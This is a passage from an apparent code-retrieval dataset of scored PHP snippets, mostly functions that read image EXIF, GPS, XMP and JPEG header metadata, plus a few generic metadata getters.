$exif_data['GPSLongitudeRef'];\r\n\t\t\t$new_data['LongitudeRefS'] = ( 'E' == $exif_data['GPSLongitudeRef'] ) ? '' : '-';\r\n\t\t\t$ref = $new_data['LongitudeRef'];\r\n\t\t\t$refs = $new_data['LongitudeRefS'];\r\n\t\t} else {\r\n\t\t\t$ref = '';\r\n\t\t\t$refs = '';\r\n\t\t}\r\n\r\n\t\tif ( isset( $exif_data['GPSLongitude'] ) ) {\r\n\t\t\t$rational = $exif_data['GPSLongitude'];\r\n\t\t\t$new_data['LongitudeD'] = $degrees = self::_rational_to_decimal( $rational[0] );\r\n\t\t\t$new_data['LongitudeM'] = $minutes = self::_rational_to_decimal( $rational[1] );\r\n\t\t\t$new_data['LongitudeS'] = sprintf( '%1$01.4f', $seconds = self::_rational_to_decimal( $rational[2] ) );\r\n\t\t\t$decimal_minutes = $minutes + ( $seconds / 60 );\r\n\t\t\t$decimal_degrees = ( $decimal_minutes / 60 );\r\n\r\n\t\t\t$new_data['Longitude'] = sprintf( '%1$dd %2$d\\' %3$01.4f\" %4$s', $degrees, $minutes, $seconds, $ref );\r\n\t\t\t$new_data['LongitudeDM'] = sprintf( '%1$d %2$01.4f', $degrees, $decimal_minutes );\r\n\t\t\t$new_data['LongitudeDD'] = sprintf( '%1$01f', $degrees + $decimal_degrees );\r\n\t\t\t$new_data['LongitudeMinDec'] = substr( $new_data['LongitudeDM'], strpos( $new_data['LongitudeDM'], ' ' ) + 1 );\r\n\t\t\t$new_data['LongitudeDegDec'] = substr( $new_data['LongitudeDD'], strpos( $new_data['LongitudeDD'], '.' ) );\r\n\t\t\t$new_data['LongitudeSDM'] = $refs . $new_data['LongitudeDM'];\r\n\t\t\t$new_data['LongitudeSDD'] = $refs . $new_data['LongitudeDD'];\r\n\t\t\t$new_data['LongitudeDM'] = $new_data['LongitudeDM'] . $ref;\r\n\t\t\t$new_data['LongitudeDD'] = $new_data['LongitudeDD'] . $ref;\r\n\t\t}\r\n\r\n\t\tif ( isset( $exif_data['GPSAltitudeRef'] ) ) {\r\n\t\t\t$new_data['AltitudeRef'] = sprintf( '%1$d', ord( $exif_data['GPSAltitudeRef'][0] ) );\r\n\t\t\t$new_data['AltitudeRefS'] = ( '0' == $new_data['AltitudeRef'] ) ? '' : '-';\r\n\t\t\t$refs = $new_data['AltitudeRefS'];\r\n\t\t} else {\r\n\t\t\t$refs = '';\r\n\t\t}\r\n\r\n\t\tif ( isset( $exif_data['GPSAltitude'] ) ) {\r\n\t\t\t$new_data['Altitude'] = sprintf( '%1$s%2$01.4f', $refs, $meters = self::_rational_to_decimal( $exif_data['GPSAltitude'] ) );\r\n\t\t\t$new_data['AltitudeFeet'] = sprintf( '%1$s%2$01.2f', $refs, $meters * 3.280839895013 );\r\n\t\t}\r\n\r\n\t\tif ( isset( $exif_data['GPSTimeStamp'] ) ) {\r\n\t\t\t$rational = $exif_data['GPSTimeStamp'];\r\n\t\t\t$new_data['TimeStampH'] = sprintf( '%1$02d', $hours = self::_rational_to_decimal( $rational[0] ) );\r\n\t\t\t$new_data['TimeStampM'] = sprintf( '%1$02d', $minutes = self::_rational_to_decimal( $rational[1] ) );\r\n\t\t\t$new_data['TimeStampS'] = sprintf( '%1$02d', $seconds = self::_rational_to_decimal( $rational[2] ) );\r\n\t\t\t$new_data['TimeStamp'] = sprintf( '%1$02d:%2$02d:%3$02d', $hours, $minutes, $seconds );\r\n\t\t}\r\n\r\n\t\tif ( isset( $exif_data['GPSDateStamp'] ) ) {\r\n\t\t\t$parts = explode( ':', $exif_data['GPSDateStamp'] );\t\t\r\n\t\t\t$new_data['DateStampY'] = $parts[0];\r\n\t\t\t$new_data['DateStampM'] = $parts[1];\r\n\t\t\t$new_data['DateStampD'] = $parts[2];\r\n\t\t\t$new_data['DateStamp'] = $exif_data['GPSDateStamp'];\r\n\t\t}\r\n\r\n\t\tif ( isset( $exif_data['GPSMapDatum'] ) ) {\r\n\t\t\t$new_data['MapDatum'] = $exif_data['GPSMapDatum'];\r\n\t\t}\r\n\r\n\t\tif ( ! empty( $new_data ) ) {\r\n\t\t\t$results['mla_exif_metadata']['GPS'] = $new_data;\r\n\t\t}\r\n\r\n\t\tMLACore::mla_debug_add( __LINE__ . ' mla_fetch_attachment_image_metadata results = ' . var_export( $results, true ), MLACore::MLA_DEBUG_CATEGORY_METADATA );\r\n\t\treturn $results;\r\n\t}", "title": "" }, { "docid": "4e81c044c3339abdb6a5a6b99a8ec05b", "score": "0.5087277", "text": "function _parsejpg($file)\n\t\t{\n\t\t\t$a=GetImageSize($file);\n\t\t\tif(!$a)\n\t\t\t\t$this->Error('Missing or incorrect image file: '.$file);\n\t\t\tif($a[2]!=2)\n\t\t\t\t$this->Error('Not a JPEG file: '.$file);\n\t\t\tif(!isset($a['channels']) or $a['channels']==3)\n\t\t\t\t$colspace='DeviceRGB';\n\t\t\telseif($a['channels']==4)\n\t\t\t\t$colspace='DeviceCMYK';\n\t\t\telse\n\t\t\t\t$colspace='DeviceGray';\n\t\t\t$bpc=isset($a['bits']) ? $a['bits'] : 8;\n\t\t\t//Read whole file\n\t\t\t$f=fopen($file,'rb');\n\t\t\t$data='';\n\t\t\twhile(!feof($f))\n\t\t\t\t$data.=fread($f,4096);\n\t\t\tfclose($f);\n\t\t\treturn array('w'=>$a[0],'h'=>$a[1],'cs'=>$colspace,'bpc'=>$bpc,'f'=>'DCTDecode','data'=>$data);\n\t\t}", "title": "" }, { "docid": "8a07bbe696224b4f64093585c43359b4", "score": "0.5083974", "text": "function exif_admin_settings() {\n drupal_add_css(drupal_get_path('module', 'exif') .'/exif.admin.css');\n $filepath = drupal_get_path('module', 'exif') .'/sample.jpg';\n $exif = _exif_get_class();\n $fullmetadata = $exif->readMetadataTags($filepath);\n $output = '';\n $output .= '<h3>' . t('About') . '</h3>';\n $output .= '<p>' . t('The Exif module allows you :');\n $output .= '<ul><li>' . t('extract metadata from an image'). '</li>';\n $output .= '<li>' . t('to classify your images by settings terms in taxonamy vocabulary'). '</li></ul>';\n $output .= t('To classify images, you define <em>vocabularies</em> that contain related <em>terms</em>, and then assign the vocabularies to content types. For more information, see the online handbook entry for the <a href=\"@taxonomy\">Taxonomy module</a>.', array('@taxonomy' => 'http://drupal.org/handbook/modules/taxonomy/'));\n $output .= '</p>';\n $output .= '<h3>' . t('Uses') . '</h3>';\n $output .= '<dl>';\n $output .= '<dt>' . t('Creating vocabularies') . '</dt>';\n $output .= '<dd>' . t('Users with sufficient <a href=\"@perm\">permissions</a> can create <em>vocabularies</em> through the <a href=\"@taxo\">Taxonomy page</a>. The page listing the terms provides a drag-and-drop interface for controlling the order of the terms and sub-terms within a vocabulary, in a hierarchical fashion. A <em>controlled vocabulary</em> classifying music by genre with terms and sub-terms could look as follows:', array('@taxo' => url('admin/structure/taxonomy'), '@perm' => url('admin/config/people/permissions', array('fragment'=>'module-taxonomy'))));\n $output .= t('This module will automatically create in the chosen vocabulary (by default \"Images\"), the folowing structure:');\n $output .= '<ul><li>' . t ('<em>vocabulary</em>: Images'); '</li>';\n $output .= '<ul><li>' . t('<em>term</em>: iptc') . '</li>';\n $output .= '<ul><li>' . t('<em>sub-term</em>: keywords') . '</li>';\n $output .= '<ul><li>' . t('<em>sub-term</em>: Paris') . '</li>';\n $output .= '<li>' . t('<em>sub-term</em>: Friends') . '</li>';\n $output .= '</ul></ul>';\n $output .= '<ul><li>' . t('<em>sub-term</em>: caption') . '</li>';\n $output .= '<ul><li>' . t('<em>sub-term</em>: Le louvre') . '</li>';\n $output .= '</ul></ul></ul>';\n $output .= '<ul><li>' . t('<em>term</em>: exif') . '</li>';\n $output .= '<ul><li>' . t('<em>sub-term</em>: model') . '</li>';\n $output .= '<ul><li>' . t('<em>sub-term</em>: KINON DE800') . '</li>';\n $output .= '</ul></ul>';\n $output .= '<ul><li>' . t('<em>sub-term</em>: isospeedratings') . '</li>';\n $output .= '<ul><li>' . t('<em>sub-term</em>: 200') . '</li>';\n $output .= '</ul></ul></ul></ul>';\n $output .= '<dd>' . t('To get metadata information of an image, you have to choose on which node type the extraction should be made.');\n $output .= t('You also have to create fields with specific names using the new Field UI.');\n $output .= t('The type of the field can be :');\n $output .= '<ul><li>' . t ('<em>text field</em>: extract information and put it in the text field.'). '</li>';\n $output .= '<li>' . t ('<em>term reference field</em>: extract information, create terms and sub-terms if needed and put it in the field.').'</li>';\n $output .= '</ul>';\n $output .= t('Please, if you want to use term reference field, ensure :');\n $output .= '<ul><li>' . t('you choose the autocompletion widget and').'</li>';;\n $output .= '<li>' . t ('the \"Images\" Vocabulary exist.').'</li>';\n $output .= '</ul>';\n $output .= t('TIPS : Note for iptc and exif fields that have several values (like field iptc \"keywords\" as an example), ');\n $output .= t('if you want to get all the values, do not forget to configure the field to use unlimited number of values (by default, set to 1).');\n $output .= '</dd>';\n $output .= '</dl>';\n $output .= '<h3>' . t('Example of field name and the metadata extracted') . '</h3>';\n $rows = array();\n $help = '';\n if(is_array($fullmetadata)){\n foreach ($fullmetadata as $section => $section_data) {\n $rows[] = array('data'=>array($section,$help), 'class' => array('tag_type'));\n foreach ($section_data as $key => $value) {\n if ($value != NULL && $value != '' && !$exif->startswith($key,'undefinedtag')) {\n $resultTag = \"\";\n if (is_array($value)) {\n foreach($value as $innerkey => $innervalue) {\n if( ($innerkey+1) != count($value) ) {\n $resultTag.=$innervalue.\", \";\n } else {\n $resultTag.=$innervalue;\n }\n }\n } else {\n $resultTag=check_plain($value);\n }\n $rows[] = array('data'=>array(\"field_\".$section.\"_\".$key,$resultTag), 'class' => array('tag'));\n }\n }\n }\n }\n $header = array(t('Key'),t('Value'));\n $output .= '<p>';\n $variables = array (\"header\" => $header, \"rows\" => $rows, \"attributes\" => array(), \"caption\" => array(),\"sticky\" => array(), \"colgroups\" => array(), \"empty\" => array() );\n $output .= theme_table($variables);\n $output .= '</p>';\n return $output;\n}", "title": "" }, { "docid": "6b239bc6a2483d8737f10ad454e03fc7", "score": "0.50734913", "text": "public function getMetaData()\n {\n return [\n 'type' => $this->type,\n 'mimetype' => $this->mimetype,\n 'size' => $this->size,\n 'width' => $this->width,\n 'height' => $this->height\n ];\n }", "title": "" }, { "docid": "0f4bf18ed475cda34e3abf9bbcafc9ae", "score": "0.50695354", "text": "protected function readMetaData(&$xmlArr)\n {\n parent::readMetaData($xmlArr);\n $this->picWidth = isset($xmlArr[\"ATTRIBUTES\"][\"PICWIDTH\"]) ? $xmlArr[\"ATTRIBUTES\"][\"PICWIDTH\"] : null;\n $this->picHeight = isset($xmlArr[\"ATTRIBUTES\"][\"PICHEIGHT\"]) ? $xmlArr[\"ATTRIBUTES\"][\"PICHEIGHT\"] : null;\n $this->picQuality = isset($xmlArr[\"ATTRIBUTES\"][\"PICQUALITY\"]) ? $xmlArr[\"ATTRIBUTES\"][\"PICQUALITY\"] : 80;\n $this->thumbWidth = isset($xmlArr[\"ATTRIBUTES\"][\"THUMBWIDTH\"]) ? $xmlArr[\"ATTRIBUTES\"][\"THUMBWIDTH\"] : null;\n $this->thumbHeight = isset($xmlArr[\"ATTRIBUTES\"][\"THUMBHEIGHT\"]) ? $xmlArr[\"ATTRIBUTES\"][\"THUMBHEIGHT\"] : null;\n $this->thumbQuality = isset($xmlArr[\"ATTRIBUTES\"][\"THUMBQUALITY\"]) ? $xmlArr[\"ATTRIBUTES\"][\"THUMBQUALITY\"] : 50;\n $this->thumbFolder = isset($xmlArr[\"ATTRIBUTES\"][\"THUMBFOLDER\"]) ? $xmlArr[\"ATTRIBUTES\"][\"THUMBFOLDER\"] : null;\n $this->preview = isset($xmlArr[\"ATTRIBUTES\"][\"PREVIEW\"]) ? $xmlArr[\"ATTRIBUTES\"][\"PREVIEW\"] : false;\n }", "title": "" }, { "docid": "efcb3d7d5f449527f15eea2b5c0f212d", "score": "0.50662726", "text": "public function getImageDetails() {\n\t\t$details = getimagesize($this->file);\n\n\t\tif(!$details) throw new Exception('Falha na busca dos parametros da imagem!');\n\n\t\tlist($width, $height, $type, $attr, $mime) = $details;\n\t\t$aspect = ($width > $height)?'landscape':'portrait';\n\t\t$ration = $width / $height;\n\n\t\treturn array('width' => $width,'height' => $height,'aspect' => $aspect,'ratio' => $ratio,'mime' => $mime,'type' => $type);\n\t}", "title": "" }, { "docid": "3c464c3680443a50a9fd1545b57b0e6e", "score": "0.50662327", "text": "private function getMetaInfo()\n {\n $path = join_paths($this->source, self::META_FILE);\n if (!file_exists($path)) {\n throw new \\Exception(\"Unknown package format\");\n }\n\n return json_decode(file_get_contents($path), true);\n }", "title": "" }, { "docid": "f2376f1675f03b8a926110d9ae12ae69", "score": "0.5063076", "text": "public static function getImageInfo(string $imgSrc): array {\n $data = array();\n if (!static::isImage($imgSrc)) {\n return $data;\n }\n $arr = getimagesize($imgSrc);\n $data[\"width\"] = $arr[0];\n $data[\"height\"] = $arr[1];\n $data[\"mime\"] = $arr[\"mime\"];\n $data[\"ext\"] = self::getImageTypeExt($imgSrc);\n if (isset($arr[\"bits\"])) {\n $data[\"bits\"] = $arr[\"bits\"];\n }\n if (is_file($imgSrc)) {\n $splInfo = new \\SplFileInfo($imgSrc);\n $splInfo->getSize();\n $data['lastAccess'] = new Datetime(fileatime($imgSrc));\n $data['modified'] = new Datetime(filemtime($imgSrc));\n $data['basename'] = basename($imgSrc);\n $data['dirname'] = dirname($imgSrc);\n $data['absoluteDir'] = dirname(realpath($imgSrc));\n $data['size_B'] = $splInfo->getSize();\n $data['size_kB'] = intval(round($data[\"size_B\"] / 1024));\n $data['ext'] = $splInfo->getExtension();\n } else {\n $data[\"lastAccess\"] = new Datetime(fileatime($imgSrc));\n $data[\"modified\"] = new Datetime(filemtime($imgSrc));\n $size = filesize($imgSrc);\n $data[\"size_B\"] = $size;\n $data[\"size_kB\"] = intval(round($size / 1024));\n }\n //print_r(pathinfo($imgSrc));\n $pathInfo = pathinfo($imgSrc);\n //print_r(getimagesize($imgSrc));\n $data['filename'] = $pathInfo[\"filename\"];\n $data['basename'] = $pathInfo[\"basename\"];\n $data['extension'] = $pathInfo[\"extension\"];\n $data['filename'] = $pathInfo[\"filename\"];\n\n return $data;\n }", "title": "" }, { "docid": "5c7d94989d1202f5db6d48adf1fb923c", "score": "0.5058244", "text": "protected function getMetadata()\n {\n // object not working must use array\n $metadata['platform'] = \"Magento 1\";\n $metadata['version'] = Mage::getVersion();\n return $metadata;\n }", "title": "" }, { "docid": "b2d3cece0d7f1e5aed8ebde12b6283ae", "score": "0.50361794", "text": "public function _get_jpeg_header_data($filename)\n\t{\n\t\t// prevent refresh from aborting file operations and hosing file\n\t\tignore_user_abort(true);\n\n\t\t// Attempt to open the jpeg file - the at symbol supresses the error message about\n\t\t// not being able to open files. The file_exists would have been used, but it\n\t\t// does not work with files fetched over http or ftp.\n\t\tif (is_readable($filename) && is_file($filename) && ($filehnd = fopen($filename, 'rb'))) {\n\t\t\t// great\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\n\t\t// Read the first two characters\n\t\t$data = fread($filehnd, 2);\n\n\t\t// Check that the first two characters are 0xFF 0xD8 (SOI - Start of image)\n\t\tif ($data != \"\\xFF\\xD8\")\n\t\t{\n\t\t\t// No SOI (FF D8) at start of file - This probably isn't a JPEG file - close file and return;\n\t\t\techo '<p>This probably is not a JPEG file</p>'.\"\\n\";\n\t\t\tfclose($filehnd);\n\t\t\treturn false;\n\t\t}\n\n\t\t// Read the third character\n\t\t$data = fread($filehnd, 2);\n\n\t\t// Check that the third character is 0xFF (Start of first segment header)\n\t\tif ($data{0} != \"\\xFF\")\n\t\t{\n\t\t\t// NO FF found - close file and return - JPEG is probably corrupted\n\t\t\tfclose($filehnd);\n\t\t\treturn false;\n\t\t}\n\n\t\t// Flag that we havent yet hit the compressed image data\n\t\t$hit_compressed_image_data = false;\n\n\t\t$headerdata = array();\n\t\t// Cycle through the file until, one of: 1) an EOI (End of image) marker is hit,\n\t\t// 2) we have hit the compressed image data (no more headers are allowed after data)\n\t\t// 3) or end of file is hit\n\n\t\twhile (($data{1} != \"\\xD9\") && (!$hit_compressed_image_data) && (!feof($filehnd)))\n\t\t{\n\t\t\t// Found a segment to look at.\n\t\t\t// Check that the segment marker is not a Restart marker - restart markers don't have size or data after them\n\t\t\tif ((ord($data{1}) < 0xD0) || (ord($data{1}) > 0xD7))\n\t\t\t{\n\t\t\t\t// Segment isn't a Restart marker\n\t\t\t\t// Read the next two bytes (size)\n\t\t\t\t$sizestr = fread($filehnd, 2);\n\n\t\t\t\t// convert the size bytes to an integer\n\t\t\t\t$decodedsize = unpack('nsize', $sizestr);\n\n\t\t\t\t// Save the start position of the data\n\t\t\t\t$segdatastart = ftell($filehnd);\n\n\t\t\t\t// Read the segment data with length indicated by the previously read size\n\t\t\t\t$segdata = fread($filehnd, $decodedsize['size'] - 2);\n\n\t\t\t\t// Store the segment information in the output array\n\t\t\t\t$headerdata[] = array(\n\t\t\t\t\t'SegType' => ord($data{1}),\n\t\t\t\t\t'SegName' => $GLOBALS['JPEG_Segment_Names'][ord($data{1})],\n\t\t\t\t\t'SegDataStart' => $segdatastart,\n\t\t\t\t\t'SegData' => $segdata,\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t// If this is a SOS (Start Of Scan) segment, then there is no more header data - the compressed image data follows\n\t\t\tif ($data{1} == \"\\xDA\")\n\t\t\t{\n\t\t\t\t// Flag that we have hit the compressed image data - exit loop as no more headers available.\n\t\t\t\t$hit_compressed_image_data = true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// Not an SOS - Read the next two bytes - should be the segment marker for the next segment\n\t\t\t\t$data = fread($filehnd, 2);\n\n\t\t\t\t// Check that the first byte of the two is 0xFF as it should be for a marker\n\t\t\t\tif ($data{0} != \"\\xFF\")\n\t\t\t\t{\n\t\t\t\t\t// NO FF found - close file and return - JPEG is probably corrupted\n\t\t\t\t\tfclose($filehnd);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "4d0b45b495bf40453da736ab77092702", "score": "0.5032229", "text": "function flickr_photos_metadata_fetch(&$photo, $inflate=0){\n\n\t\tloadlib(\"flickr_api\");\n\t\tloadlib(\"flickr_users\");\n\n\t\t$flickr_user = flickr_users_get_by_user_id($photo['user_id']);\n\n\t\t$method = 'flickr.photos.getInfo';\n\n\t\t$args = array(\n\t\t\t'photo_id' => $photo['id'],\n\t\t\t'auth_token' => $flickr_user['auth_token'],\n\t\t);\n\n\t\t$more = array();\n\n\t\tif (! $inflate){\n\t\t\t$more['raw'] = 1;\n\t\t}\n\n\t\t$rsp = flickr_api_call($method, $args, $more);\n\n\t\tif ($rsp['ok']){\n\n\t\t\t$data = ($inflate) ? $rsp['rsp'] : $rsp['body'];\n\n\t\t\t$rsp = okay(array(\n\t\t\t\t'data' => $data,\n\t\t\t));\n\t\t}\n\n\t\treturn $rsp;\n\t}", "title": "" }, { "docid": "ad44e01bf742ca329e9de8a6adbd4d29", "score": "0.5031698", "text": "private function getDataOfProductImage($image, $productAlbum)\n {\n // Initial the data array\n $imageData = [];\n $mediaService = Shopware()->Container()->get('shopware_media.media_service');\n\n if (empty($image['path'])) {\n return $imageData;\n }\n\n // First we get all thumbnail sizes of the product album\n $sizes = $productAlbum->getSettings()->getThumbnailSize();\n\n $highDpiThumbnails = $productAlbum->getSettings()->isThumbnailHighDpi();\n\n // If no extension is configured, shopware use jpg as default extension\n if (empty($image['extension'])) {\n $image['extension'] = 'jpg';\n }\n\n $imageData['src']['original'] = $mediaService->getUrl($image['media']['path']);\n $imageData['res']['original']['width'] = $image['width'];\n $imageData['res']['original']['height'] = $image['height'];\n $imageData['res']['description'] = $image['description'];\n $imageData['position'] = $image['position'];\n $imageData['extension'] = $image['extension'];\n $imageData['main'] = $image['main'];\n $imageData['id'] = $image['id'];\n $imageData['parentId'] = $image['parentId'];\n\n // Attributes as array as they come from non configurator products\n if (!empty($image['attribute'])) {\n unset($image['attribute']['id']);\n unset($image['attribute']['articleImageId']);\n $imageData['attribute'] = $image['attribute'];\n } else {\n $imageData['attribute'] = [];\n }\n\n // Attributes as keys as they come from configurator products\n if (!empty($image['attribute1'])) {\n $imageData['attribute']['attribute1'] = $image['attribute1'];\n }\n\n if (!empty($image['attribute2'])) {\n $imageData['attribute']['attribute2'] = $image['attribute2'];\n }\n\n if (!empty($image['attribute3'])) {\n $imageData['attribute']['attribute3'] = $image['attribute3'];\n }\n\n foreach ($sizes as $key => $size) {\n if (strpos($size, 'x') === 0) {\n $size = $size . 'x' . $size;\n }\n\n if ($image['type'] === Media::TYPE_IMAGE || $image['media']['type'] === Media::TYPE_IMAGE) {\n $imageData['src'][$key] = $mediaService->getUrl('media/image/thumbnail/' . $image['path'] . '_' . $size . '.' . $image['extension']);\n\n if ($highDpiThumbnails) {\n $imageData['srchd'][$key] = $mediaService->getUrl('media/image/thumbnail/' . $image['path'] . '_' . $size . '@2x.' . $image['extension']);\n }\n } else {\n $imageData['src'][$key] = $mediaService->getUrl($image['media']['path']);\n\n if ($highDpiThumbnails) {\n $imageData['srchd'][$key] = $mediaService->getUrl($image['media']['path']);\n }\n }\n }\n\n $translation = $this->sGetTranslation([], $imageData['id'], 'articleimage');\n\n if (!empty($translation)) {\n if (!empty($translation['description'])) {\n $imageData['res']['description'] = $translation['description'];\n }\n }\n\n return $imageData;\n }", "title": "" }, { "docid": "641192eccc15c1249a45ff29d38e683a", "score": "0.5022092", "text": "final public function getMetadata($key)\n {\n return $this->metadata[$key];\n }", "title": "" }, { "docid": "c4b14d455b45e2fc474a05f51cd8e451", "score": "0.50056064", "text": "private function getMetadata($key)\n {\n\n $entries = $this->load($key);\n\n if (false === $entries) {\n return array();\n }\n\n return unserialize($entries);\n\n }", "title": "" }, { "docid": "3f72f216db082f3c75003d92483bdd83", "score": "0.49528217", "text": "function getImageTimestamps($directory, $makecsv = false, $fileName = 'imgTimestamps.csv')\n{\n $contents = scandir($directory);\n $return = array();\n \n \n //use fnmatch to return only the jpg files in the directory\n foreach($contents as $file)\n {\n //only set the jpg images because only tiff and jpg images have exif timestamps\n if (fnmatch(\"*.jpg\", $file, FNM_CASEFOLD)) {\n $return[$file] = NULL; // just so that the keys are set\n }\n }\n \n //now that we have all the pictures, get their timestamps\n foreach($return as $key=>&$value) //pass by reference so that the assignment works\n {\n $ts = exif_read_data($directory.$key, 'FILE');\n $value = $ts['FileDateTime'];\n }\n \n //make the csv if selected\n if($makecsv)\n {\n $handle = fopen($fileName, 'w+');\n //set csv headers\n $csvData = \"\\\"FileName\\\",\\\"Timestamp\\\"\\n\";\n foreach($return as $key=>$value)\n {\n $csvData .= \"\\\"$key\\\",\\\"$value\\\"\\n\";\n }\n fwrite($handle, $csvData);\n fclose($handle);\n \n //set the file defaults\n setFileDefaults($fileName);\n }\n \n return $return;\n}", "title": "" }, { "docid": "182f57d0f5b594e8be4652341a20f004", "score": "0.49478367", "text": "protected function getMetaData()\n {\n return stream_get_meta_data($this->stream);\n }", "title": "" }, { "docid": "eb05dbafcc19971dd5d14c5ffd506f9f", "score": "0.49387035", "text": "public function getMetadata($key = null)\n {\n if ($key) {\n return isset($this->metadata[$key]) ? $this->metadata[$key] : null;\n }\n return $this->metadata;\n }", "title": "" }, { "docid": "62b65eb88688eb47e09094b5f746845d", "score": "0.49325672", "text": "function stream_get_meta_data ($stream) {}", "title": "" }, { "docid": "536bd82e0beff8964a46ed45a633978e", "score": "0.49292403", "text": "function read_module_metadata( $module_item = '' ) {\n\t\tif ( empty( $module_item ) ) {return null;}\n\t\t\n\t\t// load helper\n\t\t$this->load->helper( 'file' );\n\t\t\n\t\t// get module info.\n\t\t$p_data = read_file( $this->module_dir.$module_item );\n\t\tpreg_match ( '|Module Name:(.*)$|mi', $p_data, $name );\n\t\tpreg_match ( '|Module URL:(.*)$|mi', $p_data, $url );\n\t\tpreg_match ( '|Version:(.*)|i', $p_data, $version );\n\t\tpreg_match ( '|Description:(.*)$|mi', $p_data, $description );\n\t\tpreg_match ( '|Author:(.*)$|mi', $p_data, $author_name );\n\t\tpreg_match ( '|Author URL:(.*)$|mi', $p_data, $author_url );\n\t\t\n\t\t$output['name'] = ( isset( $name[1] ) ? trim($name[1]) : '' );\n\t\t$output['url'] = ( isset( $url[1] ) ? trim($url[1]) : '' );\n\t\t$output['version'] = ( isset( $version[1] ) ? trim($version[1]) : '' );\n\t\t$output['description'] = ( isset( $description[1] ) ? trim($description[1]) : '' );\n\t\t$output['author_name'] = ( isset( $author_name[1] ) ? trim($author_name[1]) : '' );\n\t\t$output['author_url'] = ( isset( $author_url[1] ) ? trim($author_url[1]) : '' );\n\t\t\n\t\tunset( $p_data, $name, $url, $version, $description, $author_name, $author_url );\n\t\treturn $output;\n\t}", "title": "" }, { "docid": "c2c15543b6f9579a4b90a30d65c54796", "score": "0.49218768", "text": "public function getExif($photoId) {\r\n \r\n $data = $this->getImage($photoId); \r\n \r\n // finish this \r\n \r\n }", "title": "" }, { "docid": "b7176ae047ad8ec8eedd7ccde88bc8b2", "score": "0.49036908", "text": "function _parseMarkerXmp() {\n if (!isset($this->_markers)) {\n $this->_readJPEG();\n }\n\n if ($this->_markers == null) {\n return false;\n }\n\n $data = null;\n $count = count($this->_markers);\n for ($i = 0; $i < $count; $i++) {\n if ($this->_markers[$i]['marker'] == 0xE1) {\n $signature = $this->_getFixedString($this->_markers[$i]['data'], 0, 29);\n if ($signature == \"http://ns.adobe.com/xap/1.0/\\0\") {\n $data = substr($this->_markers[$i]['data'], 29);\n break;\n }\n }\n }\n\n if ($data == null) {\n $this->_info['xmp'] = false;\n return false;\n }\n\n $parser = xml_parser_create();\n xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);\n xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);\n $result = xml_parse_into_struct($parser, $data, $values, $tags);\n xml_parser_free($parser);\n\n if ($result == 0) {\n $this->_info['xmp'] = false;\n return false;\n }\n\n $this->_info['xmp'] = array();\n $count = count($values);\n for ($i = 0; $i < $count; $i++) {\n if ($values[$i]['tag'] == 'rdf:Description' && $values[$i]['type'] == 'open') {\n\n while ((++$i < $count) && ($values[$i]['tag'] != 'rdf:Description')) {\n $this->_parseXmpNode($values, $i, $this->_info['xmp'][$values[$i]['tag']], $count);\n }\n }\n }\n return true;\n }", "title": "" }, { "docid": "89e01380dcb5bd9b991bbe5b63104182", "score": "0.48820972", "text": "public function getMetaData() {\n\t\treturn stream_get_meta_data($this->handle);\n\t}", "title": "" }, { "docid": "5b7756950528485833f90d01b607438b", "score": "0.48795012", "text": "public static function getMetaInformation($file)\n {\n if (!$array = getimagesize($file)) {\n throw new JIT\\JITException('Unable to retrieve image size information for ' . $file);\n }\n\n $meta = array();\n\n $meta['width'] = $array[0];\n $meta['height'] = $array[1];\n $meta['type'] = $array[2];\n $meta['channels'] = isset($array['channels']) ? $array['channels'] : false;\n\n return (object)$meta;\n }", "title": "" }, { "docid": "9d6b9bd9a16fb4d5c560c3dd28759691", "score": "0.48691967", "text": "function read_image($file_name){\n\treturn chunk_split(base64_encode(file_get_contents($file_name)));\n}", "title": "" }, { "docid": "07482c923e4a19feda071d22237fd500", "score": "0.48691237", "text": "function & getBasicInfo() {\n $this->_parseAll();\n\n $info = array();\n\n if ($this->_markers == null) {\n return false;\n }\n\n $info['Name'] = $this->_info['file']['Name'];\n if (isset($this->_info['file']['Url'])) {\n $info['Url'] = $this->_info['file']['Url'];\n $info['NiceSize'] = \"???KB\";\n } else {\n $info['Size'] = $this->_info['file']['Size'];\n $info['NiceSize'] = $this->_info['file']['NiceSize'];\n }\n\n if (@isset($this->_info['sof']['Format'])) {\n $info['Format'] = $this->_info['sof']['Format'] . \" JPEG\";\n } else {\n $info['Format'] = $this->_info['sof']['Format'] . \" JPEG\";\n }\n\n if (@isset($this->_info['sof']['ColorChannels'])) {\n $info['ColorMode'] = ($this->_info['sof']['ColorChannels'] > 1) ? \"Color\" : \"B&W\";\n }\n\n $info['Width'] = $this->getWidth();\n $info['Height'] = $this->getHeight();\n $info['DimStr'] = $this->getDimStr();\n\n $dates = $this->getDates();\n\n $info['DateTime'] = $dates['EarliestTime'];\n $info['DateTimeStr'] = $dates['EarliestTimeStr'];\n\n $info['HasThumbnail'] = $this->hasThumbnail();\n\n return $info;\n }", "title": "" }, { "docid": "4700b730c7d7a8ca54fa6ca0f0ba0eaf", "score": "0.48636407", "text": "public function getPackageMetaData() {}", "title": "" }, { "docid": "ac05b3207aaa90863255b3d4c1a3fa4d", "score": "0.48579833", "text": "public function getMetaData()\n {\n return stream_get_meta_data($this->_handle);\n }", "title": "" }, { "docid": "1320d230f60fd166814c72d0ed19c2de", "score": "0.48504287", "text": "public function getMetadata($key = null)\n {\n if ($key) {\n return isset($this->metadata[$key]) ? $this->metadata[$key] : null;\n }\n\n return $this->metadata;\n }", "title": "" }, { "docid": "a492104a97c0097127fd49680a558891", "score": "0.48393166", "text": "private function fetch_metadata_from_file()\n\t{\n\t\tif (!file_exists($this->metadata_file))\n\t\t{\n\t\t\tthrow new \\phpbb\\extension\\exception('FILE_NOT_FOUND', array($this->metadata_file));\n\t\t}\n\n\t\tif (!($file_contents = file_get_contents($this->metadata_file)))\n\t\t{\n\t\t\tthrow new \\phpbb\\extension\\exception('FILE_CONTENT_ERR', array($this->metadata_file));\n\t\t}\n\n\t\tif (($metadata = json_decode($file_contents, true)) === null)\n\t\t{\n\t\t\tthrow new \\phpbb\\extension\\exception('FILE_JSON_DECODE_ERR', array($this->metadata_file));\n\t\t}\n\n\t\tarray_walk_recursive($metadata, array($this, 'sanitize_json'));\n\t\t$this->metadata = $metadata;\n\t}", "title": "" }, { "docid": 